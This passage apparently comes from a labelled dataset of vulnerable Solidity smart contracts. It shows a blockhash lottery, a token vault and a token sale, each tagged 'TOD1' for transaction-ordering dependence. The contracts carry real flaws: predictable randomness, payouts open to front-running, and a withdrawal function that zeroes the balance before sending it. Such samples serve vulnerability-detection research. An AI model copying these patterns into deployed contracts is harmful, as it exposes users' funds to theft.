_address) onlyAdmin(2) public{ require(state == State.Successful); //Only when sale finish uint256 remainder = _address.balanceOf(this); //Check remainder tokens _address.transfer(msg.sender,remainder); //Transfer tokens to admin } /* * @dev direct payments handler */ function () public payable { contribute(); } }
TOD1
pragma solidity ^0.4.23; contract Random { uint public ticketsNum = 0; mapping(uint => address) internal tickets; mapping(uint => bool) internal payed_back; uint32 public random_num = 0; uint public liveBlocksNumber = 5760; uint public startBlockNumber = 0; uint public endBlockNumber = 0; string public constant name = "Random Daily Lottery"; string public constant symbol = "RND"; uint public constant decimals = 0; uint public constant onePotWei = 10000000000000000; // 1 ticket cost is 0.01 ETH address public inv_contract = 0x1d9Ed8e4c1591384A4b2fbd005ccCBDc58501cc0; // investing contract address public rtm_contract = 0x67e5e779bfc7a93374f273dcaefce0db8b3559c2; // team contract address manager; uint public winners_count = 0; uint public last_winner = 0; uint public others_prize = 0; uint public fee_balance = 0; bool public autopayfee = true; // Events // This generates a publics event on the blockchain that will notify clients event Buy(address indexed sender, uint eth); event Withdraw(address indexed sender, address to, uint eth); event Transfer(address indexed from, address indexed to, uint value); event TransferError(address indexed to, uint value); // event (error): sending ETH from the contract was failed event PayFee(address _to, uint value); // methods with following modifier can only be called by the manager modifier onlyManager() { require(msg.sender == manager); _; } // constructor constructor() public { manager = msg.sender; startBlockNumber = block.number - 1; endBlockNumber = startBlockNumber + liveBlocksNumber; } /// function for straight tickets purchase (sending ETH to the contract address) function() public payable { emit Transfer(msg.sender, 0, 0); require(block.number < endBlockNumber || msg.value < 1000000000000000000); if (msg.value > 0 && last_winner == 0) { uint val = msg.value / onePotWei; uint i = 0; for(i; i < val; i++) { tickets[ticketsNum+i] = msg.sender; } ticketsNum += val; emit Buy(msg.sender, msg.value); } if (block.number >= endBlockNumber) { EndLottery(); } } /// function for ticket sending from owner's address to designated address function transfer(address _to, uint _ticketNum) public { require(msg.sender == tickets[_ticketNum] && _to != address(0)); tickets[_ticketNum] = _to; emit Transfer(msg.sender, _to, _ticketNum); } /// manager's opportunity to write off ETH from the contract, in a case of unforseen contract blocking (possible in only case of more than 24 hours from the moment of lottery ending had passed and a new one has not started) function manager_withdraw() onlyManager public { require(block.number >= endBlockNumber + liveBlocksNumber); msg.sender.transfer(address(this).balance); } /// lottery ending function EndLottery() public payable returns (bool success) { require(block.number >= endBlockNumber); uint tn = ticketsNum; if(tn < 3) { tn = 0; if(msg.value > 0) { msg.sender.transfer(msg.value); } startNewDraw(0); return false; } uint pf = prizeFund(); uint jp1 = percent(pf, 10); uint jp2 = percent(pf, 4); uint jp3 = percent(pf, 1); uint lastbet_prize = onePotWei*10; if(tn < 100) { lastbet_prize = onePotWei; } if(last_winner == 0) { winners_count = percent(tn, 4) + 3; uint prizes = jp1 + jp2 + jp3 + lastbet_prize*2; uint full_prizes = jp1 + jp2 + jp3 + ( lastbet_prize * (winners_count+1)/10 ); if(winners_count < 10) { if(prizes > pf) { others_prize = 0; } else { others_prize = pf - prizes; } } else { if(full_prizes > pf) { others_prize = 0; } else { others_prize = pf - full_prizes; } } sendEth(tickets[getWinningNumber(1)], jp1); sendEth(tickets[getWinningNumber(2)], jp2); sendEth(tickets[getWinningNumber(3)], jp3); last_winner += 3; sendEth(msg.sender, lastbet_prize + msg.value); return true; } if(last_winner < winners_count && others_prize > 0) { uint val = others_prize / winners_count; uint i; uint8 cnt = 0; for(i = last_winner; i < winners_count; i++) { sendEth(tickets[getWinningNumber(i+3)], val); cnt++; if(cnt >= 9) { last_winner = i; return true; } } last_winner = i; if(cnt < 9) { startNewDraw(lastbet_prize + msg.value); } else { sendEth(msg.sender, lastbet_prize + msg.value); } return true; } else { startNewDraw(lastbet_prize + msg.value); } return true; } /// new draw start function startNewDraw(uint _msg_value) internal { ticketsNum = 0; startBlockNumber = block.number - 1; endBlockNumber = startBlockNumber + liveBlocksNumber; random_num += 1; winners_count = 0; last_winner = 0; fee_balance = subZero(address(this).balance, _msg_value); if(msg.value > 0) { sendEth(msg.sender, _msg_value); } // fee_balance = address(this).balance; if(autopayfee) { _payfee(); } } /// sending rewards to the investing, team and marketing contracts function payfee() public { require(fee_balance > 0); uint val = fee_balance; RNDInvestor rinv = RNDInvestor(inv_contract); rinv.takeEther.value( percent(val, 25) )(); rtm_contract.transfer( percent(val, 74) ); fee_balance = 0; emit PayFee(inv_contract, percent(val, 25) ); emit PayFee(rtm_contract, percent(val, 74) ); } function _payfee() internal { if(fee_balance <= 0) { return; } uint val = fee_balance; RNDInvestor rinv = RNDInvestor(inv_contract); rinv.takeEther.value( percent(val, 25) )(); rtm_contract.transfer( percent(val, 74) ); fee_balance = 0; emit PayFee(inv_contract, percent(val, 25) ); emit PayFee(rtm_contract, percent(val, 74) ); } /// function for sending ETH with balance check (does not interrupt the program if balance is not sufficient) function sendEth(address _to, uint _val) internal returns(bool) { if(address(this).balance < _val) { emit TransferError(_to, _val); return false; } _to.transfer(_val); emit Withdraw(address(this), _to, _val); return true; } /// get winning ticket number basing on block hasg (block number is being calculated basing on specified displacement) function getWinningNumber(uint _blockshift) internal constant returns (uint) { return uint(blockhash(endBlockNumber - _blockshift)) % ticketsNum + 1; } /// current amount of jack pot 1 function jackPotA() public view returns (uint) { return percent(prizeFund(), 10); } /// current amount of jack pot 2 function jackPotB() public view returns (uint) { return percent(prizeFund(), 4); } /// current amount of jack pot 3 function jackPotC() public view returns (uint) { return percent(prizeFund(), 1); } /// current amount of prize fund function prizeFund() public view returns (uint) { return ( (ticketsNum * onePotWei) / 100 ) * 90; } /// function for calculating definite percent of a number function percent(uint _val, uint _percent) public pure returns (uint) { return ( _val * _percent ) / 100; } /// returns owner address using ticket number function getTicketOwner(uint _num) public view returns (address) { if(ticketsNum == 0) { return 0; } return tickets[_num]; } /// returns amount of tickets for the current draw in the possession of specified address function getTicketsCount(address _addr) public view returns (uint) { if(ticketsNum == 0) { return 0; } uint num = 0; for(uint i = 0; i < ticketsNum; i++) { if(tickets[i] == _addr) { num++; } } return num; } /// returns amount of tickets for the current draw in the possession of specified address function balanceOf(address _addr) public view returns (uint) { if(ticketsNum == 0) { return 0; } uint num = 0; for(uint i = 0; i < ticketsNum; i++) { if(tickets[i] == _addr) { num++; } } return num; } /// returns tickets numbers for the current draw in the possession of specified address function getTicketsAtAdress(address _address) public view returns(uint[]) { uint[] memory result = new uint[](getTicketsCount(_address)); uint num = 0; for(uint i = 0; i < ticketsNum; i++) { if(tickets[i] == _address) { result[num] = i; num++; } } return result; } /// returns amount of paid rewards for the current draw function getLastWinner() public view returns(uint) { return last_winner+1; } // /// investing contract address change // function setInvContract(address _addr) onlyManager public { // inv_contract = _addr; // } /// team contract address change function setRtmContract(address _addr) onlyManager public { rtm_contract = _addr; } function setAutoPayFee(bool _auto) onlyManager public { autopayfee = _auto; } function contractBalance() public view returns (uint256) { return address(this).balance; } function blockLeft() public view returns (uint256) { if(endBlockNumber > block.number) { return endBlockNumber - block.number; } return 0; } /// method for direct contract replenishment with ETH function deposit() public payable { require(msg.value > 0); } ///Math functions function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal pure returns (uint) { require(b <= a); return a - b; } function subZero(uint a, uint b) internal pure returns (uint) { if(a < b) { return 0; } return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c>=a && c>=b); return c; } function destroy() public onlyManager { selfdestruct(manager); } } /** * @title Random Investor Contract * @dev The Investor token contract */ contract RNDInvestor { address public owner; // Token owner address mapping (address => uint256) public balances; // balanceOf address[] public addresses; mapping (address => uint256) public debited; mapping (address => mapping (address => uint256)) allowed; string public standard = 'Random 1.1'; string public constant name = "Random Investor Token"; string public constant symbol = "RINVEST"; uint public constant decimals = 0; uint public constant totalSupply = 2500; uint public raised = 0; uint public ownerPrice = 1 ether; uint public soldAmount = 0; // current sold amount (for current state) bool public buyAllowed = true; bool public transferAllowed = false; State public current_state; // current token state // States enum State { Presale, ICO, Public } // // Events // This generates a publics event on the blockchain that will notify clients event Sent(address from, address to, uint amount); event Buy(address indexed sender, uint eth, uint fbt); event Withdraw(address indexed sender, address to, uint eth); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Raised(uint _value); event StateSwitch(State newState); // // Modifiers modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyIfAllowed() { if(!transferAllowed) { require(msg.sender == owner); } _; } // // Functions // // Constructor function RNDInvestor() public { owner = msg.sender; balances[owner] = totalSupply; } // fallback function function() payable public { if(current_state == State.Public) { takeEther(); return; } require(buyAllowed); require(msg.value >= ownerPrice); require(msg.sender != owner); uint wei_value = msg.value; // uint tokens = safeMul(wei_value, ownerPrice); uint tokens = wei_value / ownerPrice; uint cost = tokens * ownerPrice; if(current_state == State.Presale) { tokens = tokens * 2; } uint currentSoldAmount = safeAdd(tokens, soldAmount); if (current_state == State.Presale) { require(currentSoldAmount <= 1000); } require(balances[owner] >= tokens); balances[owner] = safeSub(balances[owner], tokens); balances[msg.sender] = safeAdd(balances[msg.sender], tokens); soldAmount = safeAdd(soldAmount, tokens); uint extra_ether = safeSub(msg.value, cost); if(extra_ether > 0) { msg.sender.transfer(extra_ether); } } function takeEther() payable public { if(msg.value > 0) { raised += msg.value; emit Raised(msg.value); } else { withdraw(); } } function setOwnerPrice(uint _newPrice) public onlyOwner returns (bool success) { ownerPrice = _newPrice; return true; } function setTokenState(State _nextState) public onlyOwner returns (bool success) { bool canSwitchState = (current_state == State.Presale && _nextState == State.ICO) || (current_state == State.Presale && _nextState == State.Public) || (current_state == State.ICO && _nextState == State.Public) ; require(canSwitchState); current_state = _nextState; emit StateSwitch(_nextState); return true; } function setBuyAllowed(bool _allowed) public onlyOwner returns (bool success) { buyAllowed = _allowed; return true; } function allowTransfer() public onlyOwner returns (bool success) { transferAllowed = true; return true; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal pure returns (uint) { require(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c>=a && c>=b); return c; } function withdraw() public returns (bool success) { uint val = ethBalanceOf(msg.sender); if(val > 0) { msg.sender.transfer(val); debited[msg.sender] += val; return true; } return false; } function ethBalanceOf(address _investor) public view returns (uint256 balance) { uint val = (raised / totalSupply) * balances[_investor]; if(val >= debited[_investor]) { return val - debited[_investor]; } return 0; } function manager_withdraw() onlyOwner public { uint summ = 0; for(uint i = 0; i < addresses.length; i++) { summ += ethBalanceOf(addresses[i]); } require(summ < address(this).balance); msg.sender.transfer(address(this).balance - summ); } function manual_withdraw() public { for(uint i = 0; i < addresses.length; i++) { addresses[i].transfer( ethBalanceOf(addresses[i]) ); } } function checkAddress(address _addr) public returns (bool have_addr) { for(uint i=0; i<addresses.length; i++) { if(addresses[i] == _addr) { return true; } } addresses.push(_addr); return true; } function destroy() public onlyOwner { selfdestruct(owner); } /** * ERC 20 token functions * * https://github.com/ethereum/EIPs/issues/20 */ function transfer(address _to, uint256 _value) public onlyIfAllowed returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); checkAddress(_to); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public onlyIfAllowed returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); checkAddress(_to); return true; } else { return false; } } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
TOD1
pragma solidity ^0.4.23; contract EIP20Interface { uint256 public totalSupply; uint256 public decimals; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract OwnableContract { address superOwner; constructor() public { superOwner = msg.sender; } modifier onlyOwner() { require(msg.sender == superOwner); _; } function viewSuperOwner() public view returns (address owner) { return superOwner; } function changeOwner(address newOwner) onlyOwner public { superOwner = newOwner; } } contract BlockableContract is OwnableContract{ bool public blockedContract; constructor() public { blockedContract = false; } modifier contractActive() { require(!blockedContract); _; } function doBlockContract() onlyOwner public { blockedContract = true; } function unBlockContract() onlyOwner public { blockedContract = false; } } contract Hodl is BlockableContract{ struct Safe{ uint256 id; address user; address tokenAddress; uint256 amount; uint256 time; } /** * @dev safes variables */ mapping( address => uint256[]) public _userSafes; mapping( uint256 => Safe) private _safes; uint256 private _currentIndex; mapping( address => uint256) public _totalSaved; /** * @dev owner variables */ uint256 public comission; //0..100 mapping( address => uint256) private _systemReserves; address[] public _listedReserves; /** * constructor */ constructor() public { _currentIndex = 1; comission = 10; } // F1 - fallback function to receive donation eth // function () public payable { require(msg.value>0); _systemReserves[0x0] = add(_systemReserves[0x0], msg.value); } // F2 - how many safes has the user // function GetUserSafesLength(address a) public view returns (uint256 length) { return _userSafes[a].length; } // F3 - how many tokens are reserved for owner as comission // function GetReserveAmount(address tokenAddress) public view returns (uint256 amount){ return _systemReserves[tokenAddress]; } // F4 - returns safe's values' // function Getsafe(uint256 _id) public view returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 time) { Safe storage s = _safes[_id]; return(s.id, s.user, s.tokenAddress, s.amount, s.time); } // F5 - add new hodl safe (ETH) // function HodlEth(uint256 time) public contractActive payable { require(msg.value > 0); require(time>now); _userSafes[msg.sender].push(_currentIndex); _safes[_currentIndex] = Safe(_currentIndex, msg.sender, 0x0, msg.value, time); _totalSaved[0x0] = add(_totalSaved[0x0], msg.value); _currentIndex++; } // F6 add new hodl safe (ERC20 token) // function ClaimHodlToken(address tokenAddress, uint256 amount, uint256 time) public contractActive { require(tokenAddress != 0x0); require(amount>0); require(time>now); EIP20Interface token = EIP20Interface(tokenAddress); require( token.transferFrom(msg.sender, address(this), amount) ); _userSafes[msg.sender].push(_currentIndex); _safes[_currentIndex] = Safe(_currentIndex, msg.sender, tokenAddress, amount, time); _totalSaved[tokenAddress] = add(_totalSaved[tokenAddress], amount); _currentIndex++; } // F7 - user, claim back a hodl safe // function UserRetireHodl(uint256 id) public { Safe storage s = _safes[id]; require(s.id != 0); require(s.user == msg.sender); RetireHodl(id); } // F8 - private retire hodl safe action // function RetireHodl(uint256 id) private { Safe storage s = _safes[id]; require(s.id != 0); if(s.time < now) //hodl complete { if(s.tokenAddress == 0x0) PayEth(s.user, s.amount); else PayToken(s.user, s.tokenAddress, s.amount); } else //hodl in progress { uint256 realComission = mul(s.amount, comission) / 100; uint256 realAmount = sub(s.amount, realComission); if(s.tokenAddress == 0x0) PayEth(s.user, realAmount); else PayToken(s.user, s.tokenAddress, realAmount); StoreComission(s.tokenAddress, realComission); } DeleteSafe(s); } // F9 - private pay eth to address // function PayEth(address user, uint256 amount) private { require(address(this).balance >= amount); user.transfer(amount); } // F10 - private pay token to address // function PayToken(address user, address tokenAddress, uint256 amount) private{ EIP20Interface token = EIP20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); } // F11 - store comission from unfinished hodl // function StoreComission(address tokenAddress, uint256 amount) private { _systemReserves[tokenAddress] = add(_systemReserves[tokenAddress], amount); bool isNew = true; for(uint256 i = 0; i < _listedReserves.length; i++) { if(_listedReserves[i] == tokenAddress) { isNew = false; break; } } if(isNew) _listedReserves.push(tokenAddress); } // F12 - delete safe values in storage // function DeleteSafe(Safe s) private { _totalSaved[s.tokenAddress] = sub(_totalSaved[s.tokenAddress], s.amount); delete _safes[s.id]; uint256[] storage vector = _userSafes[msg.sender]; uint256 size = vector.length; for(uint256 i = 0; i < size; i++) { if(vector[i] == s.id) { vector[i] = vector[size-1]; vector.length--; break; } } } // F13 // OWNER - owner retire hodl safe // function OwnerRetireHodl(uint256 id) public onlyOwner { Safe storage s = _safes[id]; require(s.id != 0); RetireHodl(id); } // F14 - owner, change comission value // function ChangeComission(uint256 newComission) onlyOwner public { comission = newComission; } // F15 - owner withdraw eth reserved from comissions // function WithdrawReserve(address tokenAddress) onlyOwner public { require(_systemReserves[tokenAddress] > 0); uint256 amount = _systemReserves[tokenAddress]; _systemReserves[tokenAddress] = 0; EIP20Interface token = EIP20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(msg.sender, amount); } // F16 - owner withdraw token reserved from comission // function WithdrawAllReserves() onlyOwner public { //eth uint256 x = _systemReserves[0x0]; if(x > 0 && x <= address(this).balance) { _systemReserves[0x0] = 0; msg.sender.transfer( _systemReserves[0x0] ); } //tokens address ta; EIP20Interface token; for(uint256 i = 0; i < _listedReserves.length; i++) { ta = _listedReserves[i]; if(_systemReserves[ta] > 0) { x = _systemReserves[ta]; _systemReserves[ta] = 0; token = EIP20Interface(ta); token.transfer(msg.sender, x); } } _listedReserves.length = 0; } // F17 - owner remove free eth // function WithdrawSpecialEth(uint256 amount) onlyOwner public { require(amount > 0); uint256 freeBalance = address(this).balance - _totalSaved[0x0]; require(freeBalance >= amount); msg.sender.transfer(amount); } // F18 - owner remove free token // function WithdrawSpecialToken(address tokenAddress, uint256 amount) onlyOwner public { EIP20Interface token = EIP20Interface(tokenAddress); uint256 freeBalance = token.balanceOf(address(this)) - _totalSaved[tokenAddress]; require(freeBalance >= amount); token.transfer(msg.sender, amount); } //AUX - @dev Multiplies two numbers, throws on overflow. // function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
TOD1
pragma solidity ^0.4.24; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } } contract Ownable { address public owner; event SetOwner(address indexed oldOwner, address indexed newOwner); constructor() internal { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function setOwner(address _newOwner) external onlyOwner { emit SetOwner(owner, _newOwner); owner = _newOwner; } } contract Saleable is Ownable { address public saler; event SetSaler(address indexed oldSaler, address indexed newSaler); modifier onlySaler() { require(msg.sender == saler); _; } function setSaler(address _newSaler) external onlyOwner { emit SetSaler(saler, _newSaler); saler = _newSaler; } } contract Pausable is Ownable { bool public paused = false; event Pause(); event Unpause(); modifier notPaused() { require(!paused); _; } modifier isPaused() { require(paused); _; } function pause() onlyOwner notPaused public { paused = true; emit Pause(); } function unpause() onlyOwner isPaused public { paused = false; emit Unpause(); } } contract ERC20Interface { function totalSupply() public view returns (uint256); function decimals() public view returns (uint8); function balanceOf(address _owner) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function allowance(address _owner, address _spender) public view returns (uint256); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandToken is ERC20Interface { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; function totalSupply() public view returns (uint256) { return totalSupply; } function decimals() public view returns (uint8) { return decimals; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } } contract BurnableToken is StandToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); } } contract IDCToken is BurnableToken, Pausable, Saleable { address public addrTeam; address public addrSale; address public addrMine; mapping(address => uint256) public tokenAngel; mapping(address => uint256) public tokenPrivate; mapping(address => uint256) public tokenCrowd; uint256 public release = 0; uint256 private teamLocked = 0; uint256 constant private DAY_10 = 10 days; uint256 constant private DAY_90 = 90 days; uint256 constant private DAY_120 = 120 days; uint256 constant private DAY_150 = 150 days; uint256 constant private DAY_180 = 180 days; uint256 constant private DAY_360 = 360 days; uint256 constant private DAY_720 = 720 days; event TransferToken(uint8 stage, address indexed to, uint256 value); event TokenRelease(address caller, uint256 time); constructor(address _team, address _sale, address _mine) public { name = "IDC Token"; symbol = "IT"; decimals = 18; totalSupply = 3*10**9*10**uint256(decimals); //3 billion addrTeam = _team; addrSale = _sale; addrMine = _mine; balances[_team] = totalSupply.mul(2).div(5); //40% for team balances[_sale] = totalSupply.mul(1).div(5); //20% for sale balances[_mine] = totalSupply.mul(2).div(5); //40% for mining teamLocked = balances[_team]; emit Transfer(0,_team,balances[_team]); emit Transfer(0,_sale,balances[_sale]); emit Transfer(0,_mine,balances[_mine]); } function transfer(address _to, uint256 _value) notPaused public returns (bool) { if(msg.sender == addrTeam || tokenAngel[msg.sender] > 0 || tokenPrivate[msg.sender] > 0) { require(balanceOfUnlocked(msg.sender) >= _value); } StandToken.transfer(_to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) notPaused public returns (bool) { if(_from == addrTeam || tokenAngel[_from] > 0 || tokenPrivate[_from] > 0) { require(balanceOfUnlocked(_from) >= _value); } StandToken.transferFrom(_from, _to, _value); return true; } function balanceOfUnlocked(address _sender) public view returns (uint256) { require(release > 0 && now > release); uint256 tmPast = now.sub(release); uint256 balance = balanceOf(_sender); if(_sender == addrTeam) { if(tmPast < DAY_180) { balance = balance.sub(teamLocked); } else if(tmPast >= DAY_180 && tmPast < DAY_360) { balance = balance.sub(teamLocked.mul(7).div(10)); } else if(tmPast >= DAY_360 && tmPast < DAY_720) { balance = balance.sub(teamLocked.mul(4).div(10)); } } if(tokenAngel[_sender] > 0) { if(tmPast < DAY_120) { balance = balance.sub(tokenAngel[_sender]); } else if(tmPast >= DAY_120 && tmPast < DAY_150) { balance = balance.sub(tokenAngel[_sender].mul(7).div(10)); } else if(tmPast >= DAY_150 && tmPast < DAY_180) { balance = balance.sub(tokenAngel[_sender].mul(4).div(10)); } } if(tokenPrivate[_sender] > 0) { if(tmPast < DAY_90) { balance = balance.sub(tokenPrivate[_sender].div(2)); } } return balance; } function transferToken(uint8 _stage, address _to, uint256 _tokens) onlySaler external payable { require(_stage >= 0 && _stage <= 2); if(_stage == 0) { tokenAngel[_to] = tokenAngel[_to].add(_tokens); } else if(_stage == 1) { tokenPrivate[_to] = tokenPrivate[_to].add(_tokens); } else if(_stage == 2) { tokenCrowd[_to] = tokenCrowd[_to].add(_tokens); } balances[addrSale] = balances[addrSale].sub(_tokens); balances[_to] = balances[_to].add(_tokens); emit Transfer(addrSale, _to, _tokens); emit TransferToken(_stage, _to, _tokens); } function burnToken(uint256 _tokens) onlySaler external returns (bool) { require(_tokens > 0); balances[addrSale] = balances[addrSale].sub(_tokens); totalSupply = totalSupply.sub(_tokens); emit Burn(addrSale, _tokens); } function tokenRelease() onlySaler external returns (bool) { require(release == 0); release = now + DAY_10; emit TokenRelease(msg.sender, release); return true; } } contract IDCSale is Pausable { using SafeMath for uint256; IDCToken private token; address public beneficiary; enum Stage { Angel, Private, Crowd, Finalized, Failed } Stage private stage = Stage.Angel; uint256 public stageBegin = 0; uint256 public stageLength = DAY_30; uint256 public angelGoal = 0; uint256 public angelSaled = 0; uint256 public privGoal = 0; uint256 public privSaled = 0; uint256 private angelSoftCap = 0; uint256 constant private DAY_10 = 10 days; uint256 constant private DAY_20 = 20 days; uint256 constant private DAY_30 = 30 days; uint256 constant private MIN_ANGLE = 500 ether; uint256 constant private MIN_PRIV = 50 ether; mapping(address => uint256) public recvEthers; event RecvEther(address sender, uint256 ethers); event WithdrawEther(address sender, uint256 ethers); event RefundEther(address sender, uint256 ethers); constructor(address _token, address _beneficiary) public { require(_token != 0 && _beneficiary != 0); token = IDCToken(_token); beneficiary = _beneficiary; uint256 stageGoal = 3*10**8*10**uint256(token.decimals()); angelGoal = stageGoal; privGoal = stageGoal; angelSoftCap = stageGoal.div(3); } function() external notPaused payable { require(stage < Stage.Finalized); updateStageByTime(); uint256 tokens = msg.value.mul(getPrice()); if(stage == Stage.Angel) { require(msg.value >= MIN_ANGLE && angelSaled.add(tokens) <= angelGoal); token.transferToken(0, msg.sender, tokens); angelSaled = angelSaled.add(tokens); recvEthers[msg.sender] = recvEthers[msg.sender].add(msg.value); emit RecvEther(msg.sender, msg.value); } else if(stage == Stage.Private) { require(msg.value >= MIN_PRIV && privSaled.add(tokens) <= privGoal); token.transferToken(1, msg.sender, tokens); privSaled = privSaled.add(tokens); recvEthers[msg.sender] = recvEthers[msg.sender].add(msg.value); emit RecvEther(msg.sender, msg.value); } else if(stage == Stage.Crowd) { require(privSaled.add(tokens) <= privGoal); token.transferToken(2, msg.sender, tokens); privSaled = privSaled.add(tokens); recvEthers[msg.sender] = recvEthers[msg.sender].add(msg.value); emit RecvEther(msg.sender, msg.value); } updateStageBySaled(); if(stage == Stage.Finalized) { token.tokenRelease(); if(angelSaled < angelGoal) { token.burnToken(angelGoal.sub(angelSaled)); } if(privSaled < privGoal) { token.burnToken(privGoal.sub(privSaled)); } } } function updateStageByTime() private { if(stageBegin == 0) { stageBegin = now; } uint256 stagePast = now.sub(stageBegin); if(stage == Stage.Angel) { if(stagePast > stageLength) { if(angelSaled >= angelSoftCap) { stage = Stage.Private; } else { stage = Stage.Failed; } stageBegin = now; stageLength = DAY_30; } } else if(stage == Stage.Private) { if(stagePast > stageLength) { stage = Stage.Crowd; stageBegin = now; stageLength = DAY_30; } } else if(stage == Stage.Crowd) { if(stagePast > stageLength) { stage = Stage.Finalized; stageBegin = now; } } } function updateStageBySaled() private { if(stage == Stage.Angel) { if(angelSaled > angelGoal.sub(MIN_ANGLE.mul(getPrice()))) { stage = Stage.Private; stageBegin = now; stageLength = DAY_30; } } else if(stage == Stage.Private) { if(privSaled > privGoal.sub(MIN_PRIV.mul(getPrice()))) { stage = Stage.Finalized; stageBegin = now; } } else if(stage == Stage.Crowd) { if(privSaled >= privGoal) { stage = Stage.Finalized; stageBegin = now; } } } function getPrice() public view returns (uint32) { if(stage == Stage.Angel) { return 8000; } else if(stage == Stage.Private) { return 5000; } else if(stage == Stage.Crowd) { uint256 stagePast = now.sub(stageBegin); if(stagePast <= DAY_10) { return 4000; } else if(stagePast > DAY_10 && stagePast <= DAY_20) { return 3000; } else if(stagePast > DAY_20 && stagePast <= DAY_30) { return 2000; } } return 2000; } function getStageInfo() public view returns (uint8, uint256, uint256) { require(stageBegin != 0); uint256 stageUnsold = 0; if(stage == Stage.Angel) { stageUnsold = angelGoal - angelSaled; } else if(stage == Stage.Private || stage == Stage.Crowd) { stageUnsold = privGoal - privSaled; } uint256 stageRemain = 0; if(stageBegin.add(stageLength) > now) { stageRemain = stageBegin.add(stageLength).sub(now); } return (uint8(stage), stageUnsold, stageRemain); } function setStageLength(uint256 _seconds) onlyOwner external { require(stageBegin + _seconds > now); stageLength = _seconds; } function withdrawEther(uint256 _ethers) onlyOwner external returns (bool) { require(_ethers > 0 && _ethers <= address(this).balance); beneficiary.transfer(_ethers); emit WithdrawEther(beneficiary, _ethers); return true; } function refundEther() external returns (bool) { require(stage == Stage.Failed); uint256 ethers = recvEthers[msg.sender]; assert(ethers > 0); recvEthers[msg.sender] = 0; msg.sender.transfer(ethers); emit RefundEther(msg.sender, ethers); return true; } }
TOD1
